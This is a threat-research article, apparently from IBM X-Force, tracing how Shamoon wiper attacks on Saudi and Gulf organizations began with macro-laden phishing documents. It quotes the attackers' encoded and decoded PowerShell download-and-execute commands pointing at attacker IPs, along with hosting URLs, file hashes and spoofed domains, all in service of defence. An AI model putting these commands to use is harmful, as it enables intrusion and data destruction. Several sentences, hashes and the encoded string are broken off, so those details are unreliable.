

[Home](#) / [Threat Research](#) / [Advanced Threats](#)

The Full Shamoon: How the Devastating Malware Was Inserted Into Networks

February 15, 2017 | By Kevin Albano co-authored by Limor Kessem | [6 min read](#)

iStock



Authored by the IBM X-Force Incident Response and Intelligence Services (IRIS) team.



Researchers from the IBM X-Force Incident Response and Intelligence Services (IRIS) team identified a missing link in the operations of a threat actor involved in recent Shamoon malware

attacks against Gulf state organizations. These attacks, which

and civil organizations in [Saudi Arabia](#) and elsewhere in [Gulf states](#). Shamoon is designed to destroy computer hard drives by wiping the master boot record (MBR) and data irretrievably, unlike ransomware, which holds the data hostage for a fee.

Through their recent investigations, our forensics analysts pinpointed the initial compromise vector and post-compromise operations that led to the deployment of the destructive Shamoon malware on targeted infrastructures. It's worth mentioning that, according to [X-Force IRIS](#), the initial compromise took place weeks before the actual Shamoon deployment and activation were launched.

Shamoon Attacks Preceded by Malicious Macros and PowerShell Commands

Since Shamoon incidents feature the infiltration and escalation stages of targeted attacks, X-Force IRIS responders sought out the attackers' entry point. Their findings pointed to what appears to be the initial point of compromise the attackers used: a document containing a malicious macro that, when approved to execute, enabled C2 communications to the attacker's server and remote shell via PowerShell.

The document was not the only one discovered in the recent attack waves. X-Force IRIS researchers had been tracking earlier activity associated with similar malicious, PowerShell-laden documents themed as resumes and human resources documents, some of which related to organizations in Saudi Arabia. This research identified several bouts of offensive activity that occurred in the past few months, which revealed

similar operational methods in which the attackers served

network.

Read the white paper: Dealing with a data breach — Before, During and After

Initial Compromise Vector Previously Unclear

Although Shamoon was previously documented in research blogs, the specific network compromise methods leading to the attacks have remained unclear in the reported cases. X-Force IRIS researchers studied Shamoon's attack life cycle and observed its tactics at Saudi-based organizations and private sector companies. This research led them to believe that the actor using Shamoon in recent attacks relied heavily on weaponized documents built to leverage PowerShell to establish their initial network foothold and subsequent operations:

1. Attackers send a spear phishing email to employees at the target organization. The email contains a Microsoft Office document as an attachment.
2. Opening the attachment from the email invokes PowerShell and enables command line access to the compromised machine.
3. Attackers can now communicate with the compromised machine and remotely execute commands on it.
4. The attackers use their access to deploy additional tools and malware to other endpoints or escalate privileges in the network.
5. Attackers study the network by connecting to additional

Security Intelligence

6. The attackers deploy the Shamoon malware.
7. A coordinated Shamoon outbreak begins and computer hard drives across the organization are permanently wiped.

Figure 1: Shamoon Attack — Logical Flow of Events

A Phish Is Speared

X-Force IRIS identified the below malicious document:

Detail	Info
File name	cv_itworx.doc
MD5	45b0e5a457222455384713905f886bd4
SHA256	528714aaaa4a083e72599c32c18aa14603eee80da236b20aea11aa43bdf62
Hosting URL	hxxp://mol.com-ho[.]me/cv_itworx.doc

Security Intelligence

Embedded PowerShell	<pre>PowerShell.exe -window hidden -e cABvA ZQByAHMAaABlAGwAbAAuAGUAeABlAC QB3ACAAaABpAGQAZABlAG4AIAAtAG4/ BuAGkAIAAtAG4AbwBwACAALQBjACAAI AGUAeAAoAE4AZQB3AC0ATwBiAGoAZQ QAIABTAHkAcwB0AGUAbQAuAE4AZQBC AVwBLAGIAQwBsAGkAZQBUAHQAKQAuA bwB3AG4AbABvAGEAZABTAHQAcgBpAG wAoACcAaAB0AHQAcAA6AC8ALwAxADM QAuADUAOQAuADQANgAuADEANQA0AC wA0ADgANQAvAGUAaQBsAG8AUwBoAG QBnAGEAZQAxAACcAKQAiAA==</pre>
Decode	<pre>PowerShell.exe -w hidden -noni -nop -c “ ew-Object System.Net.WebClient).Downl tring(‘hxxp://139.59.46.154:3485/eiloSh e1’)”</pre>

Our researchers examined the domain that hosted the first malicious file, mol.com-ho[.]me. Per the domain’s WHOIS record, an anonymized registrant registered com-ho[.]me in October 2016 and used it to serve malicious documents with similar [macro activation features](#). The following list of documents included:

File Name	File MD5
cv.doc	f4d18316e367a80e1005f 45421b1f
cv itworx.doc	45b0e5a4572224553847

Security Intelligence

cv_mci.doc	f4d18316e367a80e1005f45421b1f
discount_voucher_codes.xlsm	19cea065aa033f5bcfa94a ae59c08
Health_insurance_plan.doc	ecfc0275c7a73a9c777513 ca45b74
Health_insurance_registration.doc	1b5e33e5a244d2d67d7a0 ccf16e56
job_titles.doc	fa72c068361c05da65bf21 b76aaa8
job_titles_itworx.doc	43fad2d62bc23ffdc6d301 135222c
job_titles_mci.doc	ce25f1597836c28cf41539 350ae93
Password_Policy.xlsm	03ea9457bf71d51d8109e 158be888

These files were most likely delivered via spear phishing emails to lure employees into unwittingly launching the malicious payload.

A closer review of the file names revealed “IT Worx” and “MCI.” A search of the name IT Worx brings up a global software professional services organization headquartered in Egypt. MCI

SecurityIntelligence

because they would seem benign to Saudi-based employees and lure them to open the attachment.

X-Force IRIS researchers further identified that the threat actor behind the malicious documents served many of them using a URL-shortening scheme in the following pattern: briefl[.]ink/{a-z0-9}{5}.

File Detail	Info
File name	job_titles_itworx.doc
MD5	43fad2d62bc23ffdc6d301571135222c
SHA256	e5b643cb6ec30d0d0b458e3f2800609f2 5f15c4ac66faf4ebf384f7976df6
Hosting URL	hxxp://briefl.ink/qhtma

The following figure is a visual example of what employees may have encountered when they opened the malicious Word files sent to them in preparation for a Shamoon attack:

Figure 2: Malicious Word Document Delivered in Preparation of a Shamoon Malware Attack (Source: X-Force IRIS)

Passive DNS results on a communications domain associated with the Shamoon attack revealed related network infrastructure, identifying additional domains used by the threat actors.

Security Intelligence

ntg-sa[.]com	The domain ntg-sa[.]com appears to spoof the domain ntg.sa.com associated with the Nardian Group. Per their webpage, NTG “was established primarily to cater the growing demands of petrochemicals waste management within the Kingdom of Saudi Arabia.”
---------------------	------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

maps-modon[.]club	The maps-modon[.]club domain appears to spoof maps.modon.gov.sa , which is associated with the Saudi Industrial Property Authority, an organization “responsible for the development of industries with integrated infrastructure and service
--------------------------	-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

X-Force IRIS discovered that the threat actor was hosting at least one malicious executable on a server hosted on **ntg-sa[.]com**. This file duped targets into believing it was a Flash player installer that would drop a Windows batch to invoke PowerShell into the same C2 communications.

Breakdown of the PowerShell-Related Macro

Analysis of one of the threat actor’s documents found that if the macro executes, it launches two separate PowerShell Scripts. The first one executes a PowerShell script served from `hxxp://139.59.46.154:3485/eiloShaegae1`. The host is possibly related to attacks that served the Pupy RAT, a publicly available cross-platform remote access tool.

The second script calls `VirtualAlloc` to create a buffer. uses

source framework popular as a tool for developing and executing exploit code against a remote target machine. The shellcode performs a DWORD XOR of 4 bytes at an offset from the beginning of the shellcode that changes the code to create a loop so the XOR continues 0x57 times.

If this execution is successful, it creates a buffer using VirtualAlloc and calls InternetReadFile in a loop until all the file contents are retrieved from `hxxp://45.76.128.165:4443/0w006`. This is then returned as a string to PowerShell, which calls invoke-expression (iex) on it, indicating that the expected payload is PowerShell.

Of note, the macro contained a DownloadFile() function that would use URLDownloadToFileA, but this was never actually used.

Based on observations associated with the malicious document, we observed subsequent shell sessions probably associated with Metasploit's Meterpreter that enabled deployment of additional tools and malware preceding deployment of three Shamoon-related files: `ntertmgr32.exe`, `ntertmgr64.exe` and `vdsk911.sys`.

Shamoon's Back, But for How Long This Time?

Although the complete list of Shamoon's victims is not public, Bloomberg reported that in one case, thousands of computers were destroyed at the headquarters of Saudi's General Authority

of Civil Aviation, erasing critical data and bringing operations to a

SecurityIntelligence

The recent activity X-Force IRIS is seeing from the Shamoon attackers has so far been detected in two waves, but those are likely to subside following the public attention the cases have garnered since late 2016.

Saudi Arabia [released a warning](#) to local organizations about the Shamoon malware, alerting about potential attacks and advising organizations to prepare. Analysis and warnings about Shamoon are resulting in preparation on the targets' end, and actors are likely to disappear and change their tactics until the next wave of attacks.

Read the white paper: [Dealing with a data breach — Before, During and After](#)

For technical details on this research and related indicators of compromise, see the [X-Force Advisory on X-Force Exchange](#).

Share this article



Tags: [Advanced Malware](#) | [IBM X-Force Research](#) | [Malware](#) | [Network Protection](#) | [Network Security](#) | [X-Force](#)

